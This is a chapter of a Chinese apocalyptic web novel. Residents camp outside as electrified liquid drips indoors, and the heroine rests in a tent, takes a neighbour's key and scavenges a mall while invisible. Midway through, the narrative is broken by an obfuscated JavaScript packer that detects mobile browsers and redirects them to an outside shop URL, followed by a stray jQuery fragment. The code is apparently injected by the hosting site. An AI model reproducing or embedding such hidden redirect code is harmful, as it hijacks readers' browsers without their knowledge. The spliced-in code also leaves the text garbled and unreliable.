“天啊!快看那里!!”
人群中有人尖叫,大家顺着他指着的方向抬头,7栋4楼的某户阳台上站着个光着膀子的男人,身上皮肤无一不被滴落的水液电得焦黑。
他苦痛大叫,地上又滑一个没站稳便撞在栏杆上,整个人从阳台翻下去直接坠楼落地,头着地脑浆崩开了花。
“啊!!!!死人了!”
“死……死了?呕!!”
“快报警!叫救护车啊!”
白雾里大多数人死得不清不楚,可现在一个活生生的人在面前诡异死去,极冷的恐惧从脚底窜上心头,靠近7栋的人群顿时混乱推搡起来,到处都是尖叫声和小孩的哭声。
云莳这边位置离得远些暂时没被波及到,听到身边有不忍的叹息声,她收回目光看了一圈,发现大部分3栋住户都在这。
也许刚才下楼大家都下意识跟着比较熟的人,一连串都跟着她到了这边,不过朱平昌那一家子没在,不知道乱跑到哪儿去了。
瞥了眼旁边王婶和苏曼紧握的手,她脱下一只手套往身边人伸去。
梁禹川迅速扣住快戳上他腰的手,“做什么?”
手背紧贴带凉意的皮质触感,渐渐被里面透过来的炙热捂温,云莳反手握住又松开。
“没电。”
没头没尾的两个字,梁禹川却听懂了。
到了室外,人身上的“静电”好似恢复了正常,触碰人或者东西不会被电到,而且衣服背包上被淋湿的部分也开始变干。
王婶儿子蒋家伟紧皱眉头,放下手机说:“所有的急救电话全部打不通。”
估计是现在所有室内都下起不明液体,人都进不去当然没办法接听什么急救电话。
“那现在怎么办?”王婶扶紧儿媳妇,脸色担忧。
蒋家伟:“等等看吧,人太多乱跑反而不安全。”
大部分人跟蒋家伟的想法一样,家在这儿又能去哪里,只能原地等待官方尽快来救援。
有些人跑出去打探一番,发现外面情况都一样又悻悻然回来,还是待在熟悉的地方更安全些。
云莳没找见的朱家三口正被困在另一边人堆里,三人才搬来本就不熟悉小区的布局,一下楼跟无头苍蝇一样乱跑,三人刚好跑到7栋附近被人群推搡挤到小区围墙边,外面的人不愿靠近死人,就这么在角落里挤成一堆,朱平昌破口大骂还被人用手肘拐了几下。
何娟死拽着丈夫儿子的手又哭起来,那10C的房主愿意出租但条件是至少一年起租,且一次性付款,他们好不容易掏空本就没多少的存款租下来,哪想连屁股都没坐热就出事了!
朱家三口在这头继续憋困着,物业这边反应过来,快速分头疏散好小区几个大门的人流,门闸全部打开,住户进出可以但不能堵在周围。
梁禹川找的这根石柱子是大花坛周围的石柱子之一,离正大门最近,可以一眼看清小区里的情况,也能随时往外跑。
再加上有物业随时控制着大门口的情况,花坛附近的人群反而没那么密集。
这一等就等到了傍晚,官方似乎自顾不暇迟迟没有动静,有人开始跑出去街边小店买点吃喝的东西,还顺便带消息回来,说那些门头店铺里面滴落不明液体的情况要好一些,很多店主全身包裹严实,撑大伞进去把货物弄了出来。
云莳听了一会儿消息,看着梁禹川从他那个大背包里拿出单人帐篷,动作利落地在石柱子旁边搭好。
这不稀奇,小区住户里不乏平时也玩露营的能手,连东西都比别人带得齐全,扫一眼别处能看到两三个临时搭起的帐篷。
“有带吃的?”
耳边落下询问,云莳收回目光回答,“带了。”
梁禹川往帐篷偏了偏头,示意她:“去吃。”
然后他转身又掏出块防水布铺在旁边,人靠着石柱子坐了下来,两条比朱平昌命还长的大长腿随意支着,神色十分淡定,好似突发的情况、室外不便的环境,他都能极快地适应。
云莳有点意外,这帐篷是给她搭的?
看了看他,云莳脱鞋进了帐篷拉上门帘,背包一甩人一倒,枕着背包闭上了眼。
吃饭的胃口是没有的,从下午开始她的头一直在隐隐作痛,现在只想休息一下。
很快意识沉底,模糊中感觉有什么粘稠液体不断倒灌涌入鼻腔,她从窒息中深喘了口气醒来,掀开眼皮却是满目暗黑。
狭窄和黑暗让她更加喘不过气,口罩下的剧烈疼痛撕扯起神经,鼻腔里充斥着浓重血腥味。
她撑起身体去够门帘的拉链,恍惚中那布料却变成斑驳陈旧的小木门,牢牢将她困在这一方幽黑中。
云莳晃了晃头甩开幻觉,捏住拉链扯开门帘,谁知外面也是一片黑,偶尔有星点亮光在远处晃着。
整个人像被突然吊在夜空中,莫名的失重感让她往外踉跄了一下,手心却撑在一节结实的手臂上。
一瞬间冷冽的气息笼下,疼痛和血腥味骤然消失,眼前也清晰了起来。
她转头,梁禹川依旧靠着石柱子,侧过脸没看她。
借力他的手臂从帐篷里出来,不客气地坐到他旁边,脚踩在鞋子上也不穿,云莳深深呼出气,又是一个奇怪的噩梦,甚至还影响到她出现幻觉,搞得心情都不美妙了,她转移注意力随口问梁禹川:“停电了?”
“嗯。”
拿出手机一看时间,她一觉睡到半夜两点多,右上角的信号也只剩一半。
眼睛适应了黑暗,云莳扫一圈周围,王婶他们在对面四米外靠着大花坛边缘,地上简单铺了张大花被单,几人抱着大包小包正闭眼休息,苏曼身下还垫着两个软垫子。
李大爷也在蒋叔旁边,腰后垫着包,身上衣服不知装了啥鼓鼓囊囊的。
“这么在意,怎么不把帐篷让出去?”
梁禹川的帽子口罩都摘了,侧脸轮廓清晰映入云莳眼帘,他眼皮半敛,不经意显露出一丝恹恹,和之前的状态不太一样。
“为什么要让?”云莳不解,“王婶和李大爷帮过奶奶,但上次白雾我已经还回去了。”
梁禹川顿了片刻,“怎么不见你还回我?”
“以后会给你的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373134|200028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听她大言不惭,许下空口支票,梁禹川不置可否。
离这么近,云莳只闻到他周身金属的冷腥味,那节雪中枯木的味道变得极淡。
他怎么比自己一个活死人还丧?
感觉到云莳往身边凑近,梁禹川终于抬起眼皮,只见她眼含认真,压低音量问:“停电了,你那两个大冰箱里的东西怎么办?”
梁禹川差点被她气笑,说她没分寸吧,她和王婶一码还一码,不随便烂好心。
说她有分寸吧,在他这儿来去自如,坦然吃他的用他的,就这还惦记上那两个大冰箱,馋得跟上辈子没吃饱饭一样。
梁禹川睨她一眼:“给你了,你应该有办法都拿走。”
云莳听出他话里有话,想了下应该是昨天那把匕首的原因,梁禹川能控制金属,同样能察觉到她手里的匕首忽然出现又消失。
其实当初在空间那个倒计时器看见天灾两字,她还去搜索了下什么意思,除了一本正经的知识科普,不免也看到一些文学作品,涉及了些对天灾末世的幻想。
像梁禹川这种能力,一般会被叫异能,那她的空间还有垃圾回收箱,不知算不算异能呢。
云莳不怕被梁禹川猜出来,反正他们两人半斤八两。
“给我吧。”
梁禹川盯着她大咧咧张开的手心,还真摸出10A的钥匙扔给她。
凌晨5点半,趁还没多少人清醒,云莳背着包悄悄走了。
梁禹川闭眼听着她的脚步声,没往3栋走,反倒是朝着后面的小区大门渐行渐远。
外面除了大路中间没人敢躺,街边地上到处都有人在休息,云莳找个没人的角落打开兑换光屏,花20积分兑换一条【隐身手链·1天】,戴好开启隐身。
室内进不去,所有人的吃喝拉撒都在外面,才一晚过去街边又堆了很多垃圾,路过的公共厕所更是臭味冲天。
云莳观察了下,像街边店铺或公共厕所这种面积小些的,里面下的是零星“小雨”,像小区楼房里面是“中雨”,而靠近商业街那些动辄几十层的办公大厦,里面哗啦啦淌着“大雨”。
大部分人花了多少血汗和眼泪,才走进这些钢筋水泥小格子里安家和工作,然后再用更多的血汗去维持生活。
可这一切在一夜之间尽失,管你是什么身份地位,统统赶出去流落街头,犹如蝼蚁。
云莳趁人不注意一路收垃圾去了老地方——万隆商场。
不愧是最大的商场,里面也哗啦啦淌着“大雨”,也许是白雾结束不到两天又出现异象,这边四周只有远处能看到一些人影。
她站在门外伸手试探,那“雨滴”直直滴到了她手背,电得她一激灵。
看来隐身手环防不住这东西,云莳不甘心,万隆商场里面的东西,她上次只回收了十分之一而已。
抬头盯着不断滴落液体的顶部,她正想着怎么进去好,忽然几滴液体被她无意识收进了垃圾回收箱,竟然又被回收箱吐出来并打上了标签。
【增电能量液:非垃圾或污染物,无法回收。】
云莳眼睛一亮:哦?